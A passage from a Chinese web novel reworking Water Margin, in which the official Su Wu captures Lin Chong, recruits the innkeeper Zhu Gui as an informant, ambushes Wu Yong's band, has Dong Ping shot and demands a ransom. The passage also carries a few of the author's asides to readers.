周谨闻言也去,长枪抡起来就砸。 林冲显然再也没有了回旋的余地,长枪先挡头顶,再横挡栾廷玉。 就看武松飞起一踢,正中胸口,林冲轰然就倒。 武松朴刀就去,精准非常,就架在林冲脖颈毫厘之间,却是一语:“倒是我哥哥要留你命!” 林冲躺倒在地,重重叹了一口气,双眼一闭,他心中知道,此番被官府拿了,便当真死路一条了。 这位东平府的新任兵马都监,自也就是把他送到东京高俅高太尉那里去领个前程。 “绑了。”苏武一抬手,便又转头往林子里去看了看。 吴用,还真是一个难缠的对手,这梁山能成势,也不是没有道理的。 为何非要拿这林冲?因为,林冲好拿捏,更是一个天选打工人,性格上就是顶级牛马属性。 更因为,林冲身后,有一个出身西北小种相公门下的提辖官,名唤鲁达,如今也叫鲁智深,西军出好汉,苏武怎么也要把鲁达弄到手中来。 只待林冲绑定,苏武立马开口:“走,把那几具贼人尸体带上,速速回城,穿甲打马,再去郓城县!” 苏武似也着急,这第二番也很重要。 那林冲被绑缚得死死,往那苏武马后一拖,苏武打马就走,只让那上身被绑缚的林冲在马后双脚跟随,便是趔趄栽倒,苏武也只管打马拖着快行。 身后众人立马跟随回城,那车驾也快速而奔,直把那车里的程小姐颠得双手紧抓车窗。 苏武看得一眼,说道:“小姐忍耐一二。” 车窗里的程家小姐,已是满脸的不适,竟也在点头:“无妨,将军公务为要。” 这话听得苏武有一种感觉,这知府家的千金,当真能处,是个明白事理的人,不似一般富家千金的那种矫情。 更还有几分胆气与沉着,此时笃定了,定是她主动应下这件引蛇出洞之事。 如此,苏武在马上便又是一语:“不知小姐可否与我行一个方便?” “将军请说……”车厢里的人,虽然有颠簸不适,还是来认真答话。 苏武转头再看几眼,姑娘眉清目秀,此时却还有几分坚韧在脸,苏武当真开口:“小姐回去之后,可否先不与相公说那擒了活口的事情?” “好!”车窗里答得爽利非常。 苏武更有惊奇,还问:“小姐就不问问其中缘由?” 车窗被完全掀了起来,那程小姐忍着颠簸,当真来答:“将军自不会是与那贼人一伙,如此行事,必然是有深意其中,家父……若是想升迁回京,还要多多仰仗将军建功。” 苏武听得这话,越发转头去看,说起来,这姑娘的老爹当官能把命都当丢了,生个姑娘竟是如此通透…… 傻憨憨的爹,有一个聪明伶俐的女儿…… “来日再来与小姐详叙。”苏武如此一语,马鞭一扬,马速再加。 “好,等你来说!”车里的姑娘,当真点头。 苏武这边急着入城去,一二百匹马,百十套甲胄,留得周谨带几人在军营里看住林冲,再取知府衙门一道简易公文,一行人便是直奔郓城县方向去。 郓城县,本不在东平府治下,而在济州治下,但郓城就是东平府与济州的交界处。 八百里水泊,更是一半在东平府,一半在济州。 有一座酒店,也就在东平府与济州府的交界之处。 苏武第一个目的地就是那座酒店,酒店的掌柜名叫朱贵。 第66章 贼厮哪里走! 东平府郊野之外,一处小山岗之后,吴用急切等待着。 这里是吴用头前就选定的地点,事成也好,事败也罢,众人若散,就到此处再来汇合,吴用当真前前后后都有谋划。 阮家兄弟此时倒是跟在吴用左右。 只待等得两刻,杜迁宋万也带人来汇合。 又等一刻,终于是把董平等来了,董平臂膀之上,早已鲜血一片,直到奔到此处见得众人,才稍稍心安,一屁股坐在地上,大口喘着粗气。 便也有人送水来与他喝,只待一口水喝罢,董平看了看自己右手臂膀,一根羽箭贯通其中。 他左手抓紧箭矢,正要用力一拔,稍稍使劲,便是一番龇牙咧嘴,好似浑身无力一般,便是再一咬牙,紧紧抓住箭矢,奋力一拔,一声惨叫就出。 只看董平额头汗水如涌,浑身颤抖不已,左右有人上来与他包扎止血。 吴用环看左右,只看一个个狼狈不堪,叹气开口:“此番,是中计了!” 董平转头来问:“学究,只是那苏武侥幸,有人来援他罢了。” 吴用叹着气,摇着头:“中计了中计了,头前着实小觑了那苏武,他定然不是一般人物,我如此小心谨慎,如此前后谋划,还是中了他的圈套,还折了林教头。若不是提前谋划得当,只怕咱们此番都要折在其中……” 众人也皆是低头,士气低落到了极点。 董平满心只有愤恨,却道:“学究,那苏武一个县里都头,能有几分智计……” “董将军已然连连落败,败得如此仓惶在逃,竟是还敢小觑他?”吴用摇着头,觉得董平这人,交流不了。 董平只是恨恨说道:“誓报此仇,誓报此仇!” “走吧,按照原定路线,赶紧回寨子里去,再作从长计议!”吴用已然左右招手,示意众人起身,莫要拖沓。 此时,那东平府去郓城县的官道之上,一二百匹马跑得烟尘漫天。 此番要让梁山之人彻底丧几分胆气,更要把苏武的大名,在这山东地面彻底立起来。 东平府,知府衙门里。 知府程万里看着衙门院内摆放的五具尸体,便是哈哈笑起:“真成了,又杀数贼,苏将军当真不错!” 众多官吏便也来贺。 “相公,往后有苏将军在东平府,贼寇之乱,必是手到擒来!” “是啊,那梁山之贼,朝廷震怒,头前董平尸位素餐,只以为他是惧怕贼寇不敢施为,没想到他本就与贼寇是一伙的,如今有了苏将军敢作敢为,连连擒贼杀贼立功,相公之福也!” 程万里点着头:“便是本府有识人之明!” “正是相公慧眼识珠!” “是啊是啊,相公知人善用,不过匆匆见得一面,相公就能看出那苏将军不同凡响。更是相公定计前后,扫灭董平,还我东平府朗朗乾坤……” 程万里今日,当真是开怀不已,上任已然有一段时间了,第一次听到这么多好听的话语。 头前还有那小吏心中腹诽过,只以为这位知府是个无用之辈,那董平在府衙里横行霸道,知府相公只躲在后衙里屁都不敢放一个。 此时才知,知府相公才是高人,原来那叫做卧薪尝胆,叫做示敌以弱,叫做一鸣惊人。 受得众人一番阿谀,知府相公大袖一甩,转身而去,走起路来,那是昂首挺胸,龙行虎步…… 众人自是拱手相送。 到得后衙,乖女早早等在书房之中。 只待父亲一来,乖女起身笑着就说:“父亲,如何?那贼人尸首可是当真?” “当真当真!”知府相公连连点头,又说:“你没事就好啊……” 乖女扬着头:“父亲,兴许啊……倒也不是兴许了,父亲晋身之资,定然就在那苏武身上了。” 知府相公点着头:“我看也是,这贼寇之事,兴许真能在他手中平复。” “父亲……”乖女扬着脸。 “嗯?”知府相公没有会意到。 “父亲!”乖女再扬脸。 “哦哦……乖女,生你不比生个男儿差!若是此番升迁回去,那东华门外的乘龙快婿,定然给你捉个最好的来!” 知府相公立马就夸。 “父亲,其实……我觉得,即便升迁,还是不回京的好。”乖女想得很多。 “啊?不回京?哪个人外放为官,不是为了升迁回京?不回京有什么好?东京城何等风雅之地,回京才叫过日子,那日子哪里是州府可比?这东平府里,便是寻个曲子来听,也是呕哑嘲哳难以入耳……” “父亲,男儿心中,难道不都是愿意建功立业的吗?”乖女来问。 “为父这不就是已经在建功立业吗?” 乖女摇着头:“这才几分功业?父亲,若是当真建得大功业再回京,入那天子堂前听封受赏,那才真是不枉此生!” 程万里听着,也点头,却说道:“道理是这么个道理,乖女,你还小,小时候读的书啊,那只是书里说的故事,哪里有那么多大功业?回京好,回京好啊……也不用这般担惊受怕……” 乖女听来,只是摇头,无话再说,再看父亲,唉……想扶上墙去,一时竟也不知如何着手。 几个时辰之后,东平府与济州府交界之处,官道之旁,八百里水泊之畔。 一队快马轰轰隆隆而至,一间酒店正在迎来送往,如此大的动静,酒店里的小厮便也出门来看。 这处酒店过于有名,生意也好,只管在路上问得朱贵朱掌柜的酒店在何处,来往商旅,当真鲜少有人不知。 只是大多数普通人,并不知道这位朱掌柜竟是梁山的贼寇,专门负责梁山接待与情报之类的要事,只有一些真正在江湖上有门路的人,才会知晓一二。 偏偏苏武这个在江湖上并没有什么门路的人,竟也知道此处。 就看快马而至,头前一个甲胄大汉勒马而止,翻身下马。 那小厮还往前去笑迎:“官爷,快请!” 只是那官爷并无话语,只管往酒店里进。 就看再下马几人,也往店里去,其他人竟是不下马,而是打马左右绕着酒店而去,立马就是合围之势。 那笑脸小厮,已然吓得魂不附体,定在当场,动也不动。 连带店里的旅客,也是一脸惊骇,只看那甲胄大汉进了店,便是立马起身左右去躲。 店后走出一人到大堂来,便是在问:“何事何事?” 那甲胄大汉抬眼一看,就问:“你就是朱贵?” 那人愣了愣,第一反应就是转身快走! “贼厮哪里走!”年轻武松一跃而去,就是七八步远。 (兄弟们,我也在急着上架,越等越急。) 第67章 设计拿贼?这多无趣 就看武松一跃上前,一手就拿住了朱贵的后脖颈。 朱贵也是有武艺在身,转头就是一拳来打。 却是拳在半空,好似就被一只铁钳夹住,那铁钳再是一扭。 朱贵一声痛呼,胸口就已趴在一张桌面之上,一手被反在后背,脖颈被压得死死。 “哥哥,擒住了。”武松转头来说。 苏武先看左右店里顾客:“公人办差,都出去吧……” 店内之人,自是争先恐后往外跑,店里瞬间一空。如此,苏武走到朱贵趴着的那张桌子前,先坐定。 然后看着朱贵,再开口:“旱地忽律朱贵?” 朱贵脸贴在桌面之上,问了一语:“敢问哪位好汉?” “东平府苏武。”苏武答了一语。 朱贵面色就惊,便是他知道,按理说,此时……吴学究带着林冲、董平等人正在东平府绑人。 怎么这位就出现在这里了? “哦,原来是苏都监,失敬失敬,不知何处得罪了都监?先行与都监赔个不是!” 朱贵,不愧是迎来送往的人,机灵非常。 苏武便也笑了:“你负责梁山消息打探之事,也负责迎来送往,还负责粮货进出水泊,说起来,你这位置对于梁山而言,重要得紧啊……” 朱贵立马开口:“什么梁山……小人着实……” 就看苏武那眼神盯来,朱贵话语又顿,也是知道骗不过什么了,唯有问:“不知都监此来何事?” 苏武又笑:“本打算擒你去换赏,看你倒是知机,便与你说些实在话语。” “都监吩咐……”朱贵当真换了态度,俗话说好汉不吃眼前亏,朱贵还真就知道此时怎么少吃点亏。 苏武先抬头与武松说:“二郎,既是谈事,便让朱掌柜坐个端正。” 武松点头,松开两手,朱贵脱了擒拿,还摁了摁自己疼痛的肩膀,竟然还转头与武松笑了笑:“这位兄弟好武艺。” 武松却也不理会,只往旁边一站,站如门神。 苏武发问了:“朱掌柜因何事落的草啊?” 朱贵有些意外苏武会问这个问题,顿了一番,才答:“小人不曾有案在身,也不曾作奸犯科,小人学了几分武艺,就是江湖浪荡之人,在此开个酒店,也算不得……呃,小人就是混着江湖入了伙……” 显然苏武知道这些情况,朱贵与宋江晁盖林冲等人不同,他本就不算是什么贼寇之流。 王伦在水泊里建了寨子,朱贵本是江湖人,又擅长待人接物,山寨里要在水泊之外有个前哨站,打探消息是其一,往寨子里进出补给是其二。 朱贵就这么入了伙,没什么精彩的故事在其中。 王伦胆小,建个寨子也不曾想过要做大做强扬名立万,就是想过点好一些日子,更不敢招惹官府。 这就是王伦当初不愿意接受林冲的原因,林冲的事,对于王伦而言有点太大了,林冲惹的人实在是惹不起。 但后来朱贵说好话,王伦才勉为其难接受了林冲。 真要问王伦如何愧对林冲,显然没有,但王伦与林冲有一个根本性的矛盾无法调和。 那就是王伦要过小日子,林冲还是有报仇的念想,王伦是万万不可能实现林冲这个念想的。 所以,等到晁盖吴用等人劫了生辰纲上山来,林冲是看到了所谓报仇的一点希望了,只是王伦更不敢收晁盖这种朝廷大贼。 林冲在自己报仇雪恨的念想中,又觉得自己受了轻视,还受了吴用几番挑拨,便火并了王伦,让晁盖这种真正敢做大事敢反朝廷的大贼成了山寨之主。 这才是林冲真正的心理。 林冲这人还有一点问题,那就是性格上的软,他潜意识里不相信自己能报仇,所以王伦死后,让他当山寨之主的时候,他拒绝了。 他显然想的是靠着别人来帮助自己报仇,若真是个性子硬的人,有这一番本事在身,自己亲手杀了王伦,岂能不是山寨之主? 他若自己当寨主,晁盖吴用之辈,又能拿他怎么样?便是这伙人一起上,也不是林冲手中长枪的对手。 当真是性格决定了命运,更决定了做事的方式。 天选打工人,天生绝顶牛马属性。 王伦就是个倒霉催的,眼前朱贵,其实也是个倒霉催的。 包括宋万与杜迁,其实他们能拜在王伦手下相安无事,便是认可了王伦过点小日子的思想。 王伦作为老大,自然要维护这种小日子,王伦才是真正拎得清的那个人。 所以苏武今日来了,再问眼前朱贵:“你一来不是贼寇出身,二来也不算真正作奸犯科,如今倒也巧了,你朱贵就成了朝廷数得上的大贼头领。人家要么得罪了当朝太尉,要么劫了太师的生辰纲,倒是你,你如今后悔了吗?” 苏武问得直白,也是这火并王伦之事发生得还不久。 朱贵看着苏武,愣愣不知说什么是好。 不是他当老好人,让林冲留在山中,王伦又怎么会死?山寨又怎么会被晁盖这般大贼占了去? 关键是发生这一切,朱贵作为一个小弟,也没有得到什么真正的利益,反而担了更大的风险。 真问朱贵后不后悔?唏嘘不唏嘘? 朱贵看了看苏武,又看了看武松,他有口难开,答不出来。 就听苏武再问:“王伦可有对不住你?” 朱贵微微低头。 任何故事里,人们都只看大人物的潇洒爽快,何曾真正关注小人物的心思? 那王伦死的时候,朱贵看得清清楚楚,他又能怎么办?他又打得过谁?他又能决定得了什么事? “此番东平府之事,想来你也知晓其中,但你不知结果,林冲被我拿在了大牢里,吴用等人救都不救他,只顾得各自飞奔去逃,逃得飞快,此时怕正是在赶回来的路上了,只是我马步更快,又走官道,先到了你这里。” 苏武轻描淡写,慢慢说着。 朱贵抬头来看,脸上稍稍有了几分惊慌,便是再也压不住心中更大的慌乱。 就看朱贵来问:“苏都监莫不是要让小人帮你设计拿贼?” 苏武摇头笑道:“设计拿贼?这多无趣……” “那……那苏都监如此费尽心力,所为何事?”朱贵疑惑不解。 苏武却说:“刚才啊,已然有人拿着公文去郓城县衙寻那知县,便是说这里有大贼,那知县大概就要派朱仝雷横两人带兵来此汇合。” “都监,我只是……只是个小人物啊!”朱贵这话,是在求生。 已然被拿在当场,若是进了衙门,那必然就是死路一条,谁让他好端端的,莫名其妙就成了晁盖团伙头领? 当然,也不是他选的,但他而今就是了。 第68章 都监说笑 苏武再问:“你想活吗?” 朱贵立马点头。 真问朱贵与晁盖那伙人有什么个人情感?兴许以后可能会有,但而今,也不过才刚刚认识不久。 苏武奔这里来,就是想定了这一点。 此时梁山,要实力没实力,要人心没人心。真正能把这一切笼络起来的那个人,真正能给梁山带来大发展的人,此时还没来,那人叫做呼保义宋江。 “既然你想活……”苏武从座位上站了起来,看了看眼前几人,武松,林卯,栾廷玉,李成。 倒也不避讳了,再开口:“那你往后,好好在这里经营酒店就是。” “啊?”朱贵完全愣住了。 武松都转过弯来了,开口道:“我家哥哥让你好好在这里经营酒店,有何不明?” 朱贵立马又点头:“懂,懂得懂得。” 苏武看着朱贵,看来是真懂得了。 却是朱贵又问:“那……那都监是不是就不把小人拿到衙门里去了?” 苏武笑道:“你既然懂得了,那自是不用去衙门里了,好好活着就是,好日子等着你呢,若是立了功勋,赏钱不说,少不得来日还有一个官身。” “当真?”朱贵双眼一直。 “多大的官说不了,当个什么都头,提辖,参军,兴许不在话下。”苏武如此画饼,但朱贵若是真做得好,这饼也不是不能让他吃到嘴巴里。 “那……”朱贵脑瓜子飞快在转,左右又看了看,便问:“那……今日一见,不知多少人看在眼中,这可如何遮掩?” 苏武只笑:“不难……” 朱贵却是满心担忧,这还不难?当间人细作这种事,要的就是避人耳目谨小慎微,如今这般大张旗鼓的,还能遮掩? “等个人来就是。”苏武轻松非常,还道:“上茶上酒菜……” 朱贵连忙起身:“是是是,小人这就去准备。” 朱贵立马往后厨去,还暗暗回头看了看,当真没人跟着他,惊慌的心思还未真正定下,不免也想着是不是要逃? 也看屋后,打马披甲的汉子围得死死…… 逃也逃不了,也更想,逃的话,有必要吗?自己身上有什么大案背着了?还是得罪了什么达官显贵? 如今这般机会在眼前,想来想去……想去想来…… 朱贵定了定心神,又往屋外寻了寻,把几个厨子小厮喊回来。刚才店内店外之人,竟是都在店外看管着,一个都不曾放走…… 这位苏都监,行事当真缜密! 一桌子菜,便也慢慢在上,菜色上齐,就听得门外官道呼呼啦啦的声音。 二百号人,十几匹马,朱仝雷横到了。 这两人,一个朱仝,长须到胸,江湖人称美髯公,此时是郓城县马兵都头,晁盖宋江之所以能逃脱,就是他私自纵容而走。 这人其实很讲义气,梁山众贼,也很记他的恩情。 只是来日,梁山之人报恩的方式有些让人难以接受,朱仝只想着过点正常日子,哪怕获罪刺配沧州了,日子也越过越好。 只奈何梁山之人非要赚他上山,亲手打破了朱仝正常生活的最后一点希望,这也是个恶心人的故事。 雷横是步兵都头,这人杀牛起家,正儿八经的江湖屠狗辈,诨号插翅虎,臂力过人,跳跃能力也过人。 这两人,交情极好。 就看两人进入店内,雷横便是大大咧咧来喊:“贼人在何处?” 那朱仝却不同,进门先看一圈,然后立马走向苏武,拱手一礼:“当面可是东平府苏都监?” “是我!”苏武也稍稍一拱手。 朱仝立马再礼:“见过苏都监。” 那雷横慢了半拍,也是一礼:“见过苏都监。” “坐!”苏武抬手作请。 两人看着一桌酒菜,便也落座,雷横先问:“都监,知县相公见得公文,立马派卑职二人前来,不知贼人在何处呢?” “还没到!”苏武笑着,又看了看跟着两个都头进来的一些军汉,说道:“我与你们两位都头有公家密事要谈,你们先出去。” 几个军汉等了等,看朱仝回身来点头,便出门而去。 如此,朱仝才问:“不知都监是何吩咐?” 苏武笑脸一收,看着朱仝,陡然就问:“朱都头,你先把那朝廷大贼晁盖私自放走,又把那杀阎婆惜的宋江也放走,心中可还有国法纲纪?” 此话一出,朱仝瞬间大惊,甚至手已然握在腰刀之上,好似说暴起就要拔刀。 雷横却是先转头来看朱仝…… 这场面,有点有趣。 却是苏武随后又有了笑脸,问:“都头莫不是要官军火并?当真也准备上山去入伙了?” 朱仝立马把手从腰刀上移开,深吸一口气,换了一个平静的表情,也挤出几分笑容:“都监怎能如此说笑?” “你看某是说笑吗?”苏武脸上还真是笑容。 雷横却开口了:“苏都监,你可不能血口喷人啊!” “是吗?”苏武还是笑,也看雷横:“要不,你问一问你这好兄弟,看看某是不是血口喷人?” 雷横当真去看朱仝,朱仝却不看雷横,只看苏武,脸上阴晴不定几番,还是一语:“都监说笑……” 雷横似也察觉出来什么,转头去看,看的是门外,雷横这份义气着实不假。 只是门外那百十号披甲打马的汉子,还真就不是郓城县那些衙差厢军可比。 苏武却转头与朱贵说:“掌柜,倒酒!” 朱贵看得这场面心中已然就是惊涛骇浪一般,闻言,连忙上前来倒酒。 “先饮一杯……”苏武先抬杯。 朱仝当真也抬杯,雷横再来,三人一饮。 苏武放了酒杯,慢慢再开口:“我打马从官道来,贼人步行,还要走小路,怕是今日半夜才能到此。这伙贼人里,有那吴用,有那阮氏兄弟,朱都头,某来此啊,是想与晁盖吴用二人见上一见,朱都头为中人,不是难事吧?” 朱仝却问:“都监是官,他们是贼,如此相见,传出去也不怕得个通贼的罪名?” “通贼?你不就是通贼吗?不也好好坐在这里吗?”苏武反问。 朱仝微微沉默。 “就见两人,晁盖与吴用。劳烦朱都头从店后的芦苇荡里乘船往山寨里去一趟,如何?”苏武转头示意朱贵再来倒酒。 朱仝抬手一指朱贵:“都监何不让他去?” “朱掌柜?他没这份脸面。”苏武笑着摇头。 朱贵闻言,心下也是一叹,让晁盖来见东平府的兵马都监,他还真没这脸面说得动。 朱仝却问:“都监不会是想利用卑职把梁山头领一网打尽吧?” “要一网打尽,今日到此,也就不会知会你来了……”苏武答道。 朱仝皱眉去想,想得片刻,还是来问:“吴学究等人今夜当真会到此处来?” 朱仝自是不那么相信。 “这些贼人之事,吴用只以为我定然不知,这里有吃有喝,备了船在等,有朱掌柜守在这里,他们身后又并无官军在追,他岂能不来?” 苏武自己一饮,不再与二人提杯。 “都监真是好本事,若是今夜吴学究当真至此,卑职便上山为都监去请一请!”朱仝显然也是看懂了一些。 这位苏都监,似并不真想剿贼。 不想剿贼,其实……是好事。 若真对面而谈,谈的应该就是……如何相安无事?如此也好交差? 还是其他什么? 朱仝想不来这些,但他知道,兴许吴用想得来这些。 眼前之事,是朱仝也有一家老小,更是他朱仝从来没想过要落草为寇。 苏武把朱仝已然拿捏得死死,也是朱仝自己的破绽实在太大,旁人不知,苏武又岂能不知? “好!你把麾下之人都叫到店里等候着,只需你二人随我往道口去拦,如此,你也体面。”苏武已然起身,往店外走去。 这一番,要的是彻底打击梁山之人面对他苏武的心态与自信,特别是吴用面对他苏武的心态。 要让吴用往后只要听到他苏武的名字,心中就不自觉会打鼓,就得畏惧几分,就得怯懦几分,更多生顾虑顾忌。 还有一点,那就是朱贵,从此之后,梁山任何风吹草动,都在苏武耳目之下,以后也就不会再这么被动了。 此乃苏武心中谋划的第三番,养的贼,就要圈得住! 回头,便是回去摆弄那个天选打工人,这就是这一系列谋划的第四番。 几番之后,苏武才能安心去做其他事情。 至于董平,今夜是死期。 头前引蛇出洞,并不能做到万无一失的埋伏,今夜守株待兔,才能万无一失。 (真是被兄弟们喷得不行了,前文也稍稍改了一下,就让董平死在这里。原计划里,董平是要在这里受辱一番的,往后还有几番折磨,把董平当个伏笔留着,最后用在宋江想招安的事情上。我忽然也想明白了一件事,就是一种不安感,有部分兄弟读着前文的内容,感受中有一种不安,董平有点强,活着就是不安,便是不爽快,理解了。) 第69章 你与我捉单决死 八百里水泊在月光下荡漾出银光点点,湖风稍稍一吹,芦苇一丛一丛轻轻摇曳。 月黑风高夜,六十来个猎户汉子穿甲在身,蹲在路口两侧的草甸之中,用的是大宋禁军里的强弓硬弩。 五六百步之后,是那朱贵的酒店,酒店里挤满了人,有本就在客店的旅人,也有黄昏之时恰巧从店外路过的行人,还有二百号来自郓城县的衙差兵丁。 客店之外,有三十号来自大名府的精锐军汉披甲守卫,不准任何人进出酒店。 月慢慢东去。 十来道月光下的黑影从北边行来,从小路插进大路,脚步极快。 十来个人中间有一个学究,忽然皱眉不止,却问左右:“我怎的心中如此不安?一直七上八下?” 一旁有阮小二来答:“学究,一路上并未有官军尾随追缉,不必过于担忧……” 那学究忽然心中一紧,说道:“是啊,那苏武何以不来追缉?” 有那董平话语:“他拿了林教头,只管往东京殿前司高太尉送去,不知能换多大的前程,此时只怕早已在城中吃起庆功宴了!” 在董平看来,头前那苏武不入林子里来追他,而是转头去围林冲,那是再正常不过的选择。 那林冲多值钱?是那殿前司高太尉的软肋。 “唉……”吴用一口气叹去,便又说:“此番真是吃了天大的亏当,事未成不说,还损兵折将,把林教头也陷了进去,此番回了寨子,又如何与晁大哥交代……” 董平恨恨一语:“学究,我早就说了,只管把寨子里的五百人交给我,我带着去那东平府,打破府城不在话下,你们偏偏不听,非要出这些馊主意……” 吴用闻言,目光看去,却也没有话语。 就听董平又说:“还说什么把那知府千金绑来与我……唉……此番回寨子里,你们都听我的就是了,只管把人马给我,我带着你们去,那东平府里我多少亲信心腹?岂不是说破就破?” 吴用依旧不言,只管往前走,阮家兄弟三人在后,却是频频去看董平…… 董平见吴用不开口,只管又道:“去之前,学究与我说得那么多诸般利弊之语,这回无话可说了吧?” 吴用终于开口了,竟是有几分笑容:“还是将军好计策啊……” 却是吴用又岂能不知山寨里四五百喽啰是怎么回事? 王伦麾下养的人手,王伦当面被杀之时,也都是跪地求饶之辈,劫个道还行,还真能上阵打仗?还能去攻城拔寨? 而今山寨里,连一人一杆正儿八经的好兵刃都还凑不齐,还等着十万贯的生辰纲来慢慢置办。 去打东平府?岂不是个笑话?东平府里,还当真都是能随董平谋反之人? 董平依旧自顾自在说:“上阵打仗,你们皆不如我,只管看我如何破城就是!” 吴用依旧有笑:“那是……回了山里再议就是……” 董平心中好似舒服多了,左右看了看,虽然身上有伤,此时却也起了几分神气。 心中只想,如今是落了草,落草也要是条好汉! 却是听得头前忽然有人喊:“可是吴学究?” 吴用闻言一惊,脚步一停,先不说话。 再听得问:“是吴学究吗?” 吴用听出来了,心中一松:“是朱都头?” “是我!” 就看头前黑暗之处,走出来一个汉子,近前十来步,吴用连忙上去迎,也问:“朱都头何以半夜在此处?莫不是接到了东平府的海捕公文?所以得令至此?” 朱仝看着吴用,又看了看吴用身后那些人,一个个狼狈不堪的模样,便是摇头叹气:“唉……” “怎么了?”吴用立马再问,心中又是紧张起来。 “学究啊,你们这回栽得大了!”朱仝摇头说道。 “何出此言?”吴用更问,双眼也下意识左右去看。 就看刚才朱仝出来的地方,又走出来一人,那人直接开口:“吴学究,你不是说来日再来过手吗?这不,来日就到了,咱们又会上了。” 吴用闻言一愣,随后脱口而出:“苏武!” “是我!” 只待苏武话语一答,吴用心中大骇,下意识转身欲奔,转头去,身后便都是兵刃出鞘的声音,那董平更是浑身一炸,长枪已然横在胸前。 吴用反应极快,连忙伸手去拦:“莫动莫动,兄弟们莫动!” 那董平岂能不动?当真就要单手持枪往前去。 却是立马听得四周一片弓弦在拉,董平立马脚步一止,左右去看,看不真切什么,却是那拉弓弦的声音此起彼伏。 董平那刚迈出去的脚步,哪里还敢再迈第二步? 有苏武话语来夸:“吴学究当真聪明得紧啊……” 吴用看了看身前朱仝,稍稍定住心神,再看了看二三十步外的苏武,答道:“此番苏都监谋划着实高明,先引我等在东平府现身,再是一环接着一环,事到如今,我认栽了!” 说着这话语,自也是吴用去看了朱仝,看朱仝与他点头,心中又定一些。 苏武笑了笑,不答吴用话语,只说:“雷都头,你去,把人一个一个绑来吧。” 黑暗中走出了雷横,还有一大捆绳索,这绳索是衙门里出门擒贼必备之物。 吴用似想说什么,朱仝微微摇头,说道:“吴学究,就依着苏都监就是,事情还有回旋的余地。” 吴用便又点了点头:“既是认栽,自是任凭苏都监处置!” 说完这句话语,吴用深深叹了口气,这一局,输得太惨! 却是也想不明白为何输得这么惨,何以这个苏武,竟是还能先到此处设伏,还能把朱仝也先叫到身前…… 雷横已然近前来,开始绑人,他与梁山这些人,交情远不比朱仝来得深厚,他之所以今天如此配合,全因朱仝的情分,实在是他与朱仝交情太好。 更是朱仝那么大一个把柄教人握在手中,雷横心中,多是无奈,更是惜叹。 先绑谁呢? 先绑最前的吴用吧…… 苏武还有话语:“绑好一个,便走过来一个!” 场面安静非常,只有雷横绑人的声响,就看吴用先绑,在朱仝示意之下,一个人先往苏武走去。 直到近前,苏武才看清这位吴学究到底长个什么模样,还真是个儒生文人打扮,头上绑着一顶抹眉梁头巾,一袭长衫在身,长得白白净净,还有下巴胡须也井井有条。 吴用也在打量苏武,人高马大,虎背熊腰,周正大气…… 两人对视几眼,吴用立马低头去避过眼神。 苏武身后,自有人上来押住吴用,又检查一番吴用身上的绑缚。 雷横再绑,董平最前了,便绑董平。 董平忽然不配合了,往前快走几步,开口呵斥:“苏武,你这个奸诈小人,若是好汉,你与我捉单决死,如此便是死了,我也心服口服!” 朱仝与雷横两人对视一眼,稍稍等待。 第70章 这可如何是好? 只听董平叫嚣之语,武松一马当先就要去,开口喝骂:“直娘贼,死到临头还敢如此!” 苏武抬手一拦,直接开口一声:“射!” 苏武身后有李成,抬弩就射。 还有左右嗡嗡就起,董平反应极快,已然就地去滚,单手持枪更是胡乱去挥,口中大骂:“腌臜小人……” 嘟嘟嘟嘟…… 不知多少声闷响。 朱仝雷横转头去看,实在惨不忍睹,那董平身上,不知插了多少支箭矢,插得犹如豪猪刺猬一般…… 那董平喊也喊不出了,叫也叫不出了,只有喉咙里发出的一种低沉的呜呜之声。 伴随着呜呜之声,也看董平那刺猬一般的身体,正在抽搐,一抽一抽…… 朱仝与雷横还左右去看看,便是还有惊讶,这位苏都监麾下,何以有得这么多擅射之人? 再看另外几贼,便是一个个庆幸不已,不是吴学究拦得一手,此时只怕也是这般下场了。 被押在苏武身后的吴用幽幽一语:“可惜了,本也是个有真本事的人……” 苏武回头轻问:“学究惜才?” 吴用便答:“只是叹息一语罢了,本是一府都监,何以落得如此地步……” “学究当真聪慧不凡……”苏武真夸,这吴用正在用话语来审时度势。 吴用只答:“与都监一比,算不得什么……” 苏武不多言,就看阮氏兄弟一个一个绑来,宋万杜迁也一个一个绑来,还有五个喽啰更不在话下。 都绑在当面了。 苏武也把几个梁山头领再打量一番…… 朱仝在旁开口:“苏都监,卑职这就上船去请那晁盖?” “嗯,天亮之前,当要见到,否则,这些人可就都成了某晋身之资了。”苏武如此一语。 “知晓知晓!”朱仝连连点头,拱手一礼,转身飞奔而去。 却是留得雷横在一旁叹气。 不得多久,朱贵挑着食盒而来,也是苏武吩咐,便是要让朱贵亲眼来看一看这个场景,让他受一点心灵上的震撼…… 朱贵一脸紧张把食盒慢慢摆开,先奔到席地而坐的吴用面前,还亲手与吴用喂食,口中连连说道:“学究快吃些……” 吴用就着吃了一口,也叹一语:“唉……本是无事,何苦来哉……” 苏武也答:“是啊……某也想问问学究,你我无冤无仇,何苦来哉?” 吴用又说:“都怪那刘唐啊……生得个胡乱性子,冲撞了都头。” “倒也不是冲撞,便是莫名其妙的,他便要杀某,学究,你来说说这事……”苏武当真坐到了吴用身边,还是个轻描淡写。 “定是那……董平与云理万勾搭刘唐,许诺了什么大好处,刘唐一时受了蒙蔽蛊惑,才做下这般傻事。” 吴用连连在说,人在屋檐下,正是要用脑子说话的时候。 苏武忽然问了一语:“那晁盖会来吧?” 其实,苏武知道晁盖会来,晁盖别的没有,就一身的义薄云天,兄弟全都失陷在此,他必然会到。 吴用连连点头:“会来会来……” “学究啊,你是聪明人,绝顶的聪明人,你说……那晁盖也来了,你们这伙人便算齐了,这份功勋当面,该如何是好?” 苏武轻描淡写里,又带着几分笑。 谈得几番了,吴用已然进入了状态:“那就看都监到底要什么了,钱财山寨里倒也有一些,想来都监志不在此,那都监志向必然远大,既是志向远大,便也有志向远大的思虑与做法……” “谁说某不要钱?你们劫了十万贯去,我不要多,赎你们这些人头,八万贯总是要的……”苏武现在缺的就是钱。 但这梁山,也必然不能真的揭不开锅去。 这梁山来日,还要真正震惊朝野,朝廷还会纠集各路大军来讨,前后会有两个当朝太尉亲来,高俅更是会亲自到此。 若是就这么一把灭了,即便苏武再升一级,这大宋朝的武官在朝廷里也不过就是狗屎,意义不大。 而今苏武所想,就是要绑定一个文官,比如程万里就极为合适,再不断立功,频频立功。 让程万里不断升迁,如此,苏武也不断升迁,只待乱世,这才有意义。 如此,才是现实,大宋朝的现实。 吴用听得苏武当真要钱,更是心下一松:“八万贯,好说好说,都监当真是爽快人,竟是还留了两万贯……” 苏武不说话,只轻轻笑着。 吴用便也不多言,在这两个人面前,一切好似就在不言中。 